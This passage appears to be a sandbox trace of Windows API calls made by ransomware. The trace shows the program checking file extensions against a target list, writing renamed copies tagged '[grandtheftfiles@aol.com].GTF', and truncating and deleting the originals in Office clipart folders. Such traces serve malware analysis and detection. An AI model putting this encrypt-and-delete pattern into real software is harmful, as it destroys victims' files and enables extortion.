	[0085.729] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.729] SetEndOfFile (hFile=0x2fc) returned 1
	[0085.730] CloseHandle (hObject=0x2fc) returned 1
	[0085.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 1
	[0085.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0085.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0085.731] lstrlenW (lpString=".doc") returned 4
	[0085.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.731] lstrlenW (lpString=".docx") returned 5
	[0085.731] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.731] lstrlenW (lpString=".pdf") returned 4
	[0085.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.731] lstrlenW (lpString=".xls") returned 4
	[0085.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.731] lstrlenW (lpString=".xlsx") returned 5
	[0085.731] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.731] lstrlenW (lpString=".ppt") returned 4
	[0085.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0085.731] lstrlenW (lpString=".zip") returned 4
	[0085.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.731] lstrlenW (lpString=".rar") returned 4
	[0085.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.731] lstrlenW (lpString=".bz2") returned 4
	[0085.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.732] lstrlenW (lpString=".7z") returned 3
	[0085.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0085.732] lstrlenW (lpString=".dbf") returned 4
	[0085.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0085.732] lstrlenW (lpString=".1cd") returned 4
	[0085.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0085.732] lstrlenW (lpString=".jpg") returned 4
	[0085.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0085.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0085.732] lstrlenW (lpString=".doc") returned 4
	[0085.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.732] lstrlenW (lpString=".docx") returned 5
	[0085.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.732] lstrlenW (lpString=".pdf") returned 4
	[0085.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.732] lstrlenW (lpString=".xls") returned 4
	[0085.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.732] lstrlenW (lpString=".xlsx") returned 5
	[0085.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.732] lstrlenW (lpString=".ppt") returned 4
	[0085.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0085.732] lstrlenW (lpString=".zip") returned 4
	[0085.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.732] lstrlenW (lpString=".rar") returned 4
	[0085.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.732] lstrlenW (lpString=".bz2") returned 4
	[0085.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.732] lstrlenW (lpString=".7z") returned 3
	[0085.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0085.732] lstrlenW (lpString=".dbf") returned 4
	[0085.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0085.733] lstrlenW (lpString=".1cd") returned 4
	[0085.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0085.733] lstrlenW (lpString=".jpg") returned 4
	[0085.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.733] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.733] lstrlenW (lpString="DD01145_.WMF") returned 12
	[0085.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.734] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=2780) returned 1
	[0085.734] CloseHandle (hObject=0x2fc) returned 1
	[0085.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x220
	[0085.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.734] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.734] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0085.735] GetLastError () returned 0x0
	[0085.735] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xadc, lpOverlapped=0x0) returned 1
	[0085.736] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xae0, lpOverlapped=0x0) returned 1
	[0085.737] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.737] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.737] SetEndOfFile (hFile=0x2d0) returned 1
	[0085.737] CloseHandle (hObject=0x2d0) returned 1
	[0085.738] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.738] SetEndOfFile (hFile=0x2fc) returned 1
	[0085.739] CloseHandle (hObject=0x2fc) returned 1
	[0085.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 1
	[0085.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0085.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0085.740] lstrlenW (lpString=".doc") returned 4
	[0085.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.740] lstrlenW (lpString=".docx") returned 5
	[0085.740] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.740] lstrlenW (lpString=".pdf") returned 4
	[0085.740] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.740] lstrlenW (lpString=".xls") returned 4
	[0085.740] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.740] lstrlenW (lpString=".xlsx") returned 5
	[0085.740] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.740] lstrlenW (lpString=".ppt") returned 4
	[0085.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0085.740] lstrlenW (lpString=".zip") returned 4
	[0085.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.740] lstrlenW (lpString=".rar") returned 4
	[0085.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.740] lstrlenW (lpString=".bz2") returned 4
	[0085.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.740] lstrlenW (lpString=".7z") returned 3
	[0085.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0085.740] lstrlenW (lpString=".dbf") returned 4
	[0085.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0085.740] lstrlenW (lpString=".1cd") returned 4
	[0085.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0085.740] lstrlenW (lpString=".jpg") returned 4
	[0085.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0085.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0085.741] lstrlenW (lpString=".doc") returned 4
	[0085.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.741] lstrlenW (lpString=".docx") returned 5
	[0085.741] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.741] lstrlenW (lpString=".pdf") returned 4
	[0085.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.741] lstrlenW (lpString=".xls") returned 4
	[0085.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.741] lstrlenW (lpString=".xlsx") returned 5
	[0085.741] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.741] lstrlenW (lpString=".ppt") returned 4
	[0085.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0085.741] lstrlenW (lpString=".zip") returned 4
	[0085.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.741] lstrlenW (lpString=".rar") returned 4
	[0085.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.741] lstrlenW (lpString=".bz2") returned 4
	[0085.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.741] lstrlenW (lpString=".7z") returned 3
	[0085.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0085.741] lstrlenW (lpString=".dbf") returned 4
	[0085.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0085.741] lstrlenW (lpString=".1cd") returned 4
	[0085.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0085.741] lstrlenW (lpString=".jpg") returned 4
	[0085.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.741] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.741] lstrlenW (lpString="DD01146_.WMF") returned 12
	[0085.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.742] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=2796) returned 1
	[0085.742] CloseHandle (hObject=0x2fc) returned 1
	[0085.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x220
	[0085.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.742] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.742] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0085.743] GetLastError () returned 0x0
	[0085.743] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xaec, lpOverlapped=0x0) returned 1
	[0085.744] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xaf0, lpOverlapped=0x0) returned 1
	[0085.745] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.745] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.745] SetEndOfFile (hFile=0x2d0) returned 1
	[0085.745] CloseHandle (hObject=0x2d0) returned 1
	[0085.746] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.746] SetEndOfFile (hFile=0x2fc) returned 1
	[0085.746] CloseHandle (hObject=0x2fc) returned 1
	[0085.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 1
	[0085.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0085.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0085.747] lstrlenW (lpString=".doc") returned 4
	[0085.747] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.747] lstrlenW (lpString=".docx") returned 5
	[0085.747] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.747] lstrlenW (lpString=".pdf") returned 4
	[0085.747] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.747] lstrlenW (lpString=".xls") returned 4
	[0085.747] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.747] lstrlenW (lpString=".xlsx") returned 5
	[0085.747] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.747] lstrlenW (lpString=".ppt") returned 4
	[0085.747] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0085.747] lstrlenW (lpString=".zip") returned 4
	[0085.747] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.747] lstrlenW (lpString=".rar") returned 4
	[0085.747] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.747] lstrlenW (lpString=".bz2") returned 4
	[0085.747] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.747] lstrlenW (lpString=".7z") returned 3
	[0085.747] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0085.748] lstrlenW (lpString=".dbf") returned 4
	[0085.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0085.748] lstrlenW (lpString=".1cd") returned 4
	[0085.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0085.748] lstrlenW (lpString=".jpg") returned 4
	[0085.748] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0085.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0085.748] lstrlenW (lpString=".doc") returned 4
	[0085.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.748] lstrlenW (lpString=".docx") returned 5
	[0085.748] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.748] lstrlenW (lpString=".pdf") returned 4
	[0085.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.748] lstrlenW (lpString=".xls") returned 4
	[0085.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.748] lstrlenW (lpString=".xlsx") returned 5
	[0085.748] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.748] lstrlenW (lpString=".ppt") returned 4
	[0085.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0085.748] lstrlenW (lpString=".zip") returned 4
	[0085.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.748] lstrlenW (lpString=".rar") returned 4
	[0085.748] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.748] lstrlenW (lpString=".bz2") returned 4
	[0085.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.748] lstrlenW (lpString=".7z") returned 3
	[0085.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0085.748] lstrlenW (lpString=".dbf") returned 4
	[0085.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0085.748] lstrlenW (lpString=".1cd") returned 4
	[0085.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0085.749] lstrlenW (lpString=".jpg") returned 4
	[0085.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.749] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.749] lstrlenW (lpString="DD01151_.WMF") returned 12
	[0085.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.749] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=2960) returned 1
	[0085.749] CloseHandle (hObject=0x2fc) returned 1
	[0085.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x220
	[0085.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.751] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.751] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0085.752] GetLastError () returned 0x0
	[0085.752] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xb90, lpOverlapped=0x0) returned 1
	[0085.753] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xba0, lpOverlapped=0x0) returned 1
	[0085.754] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
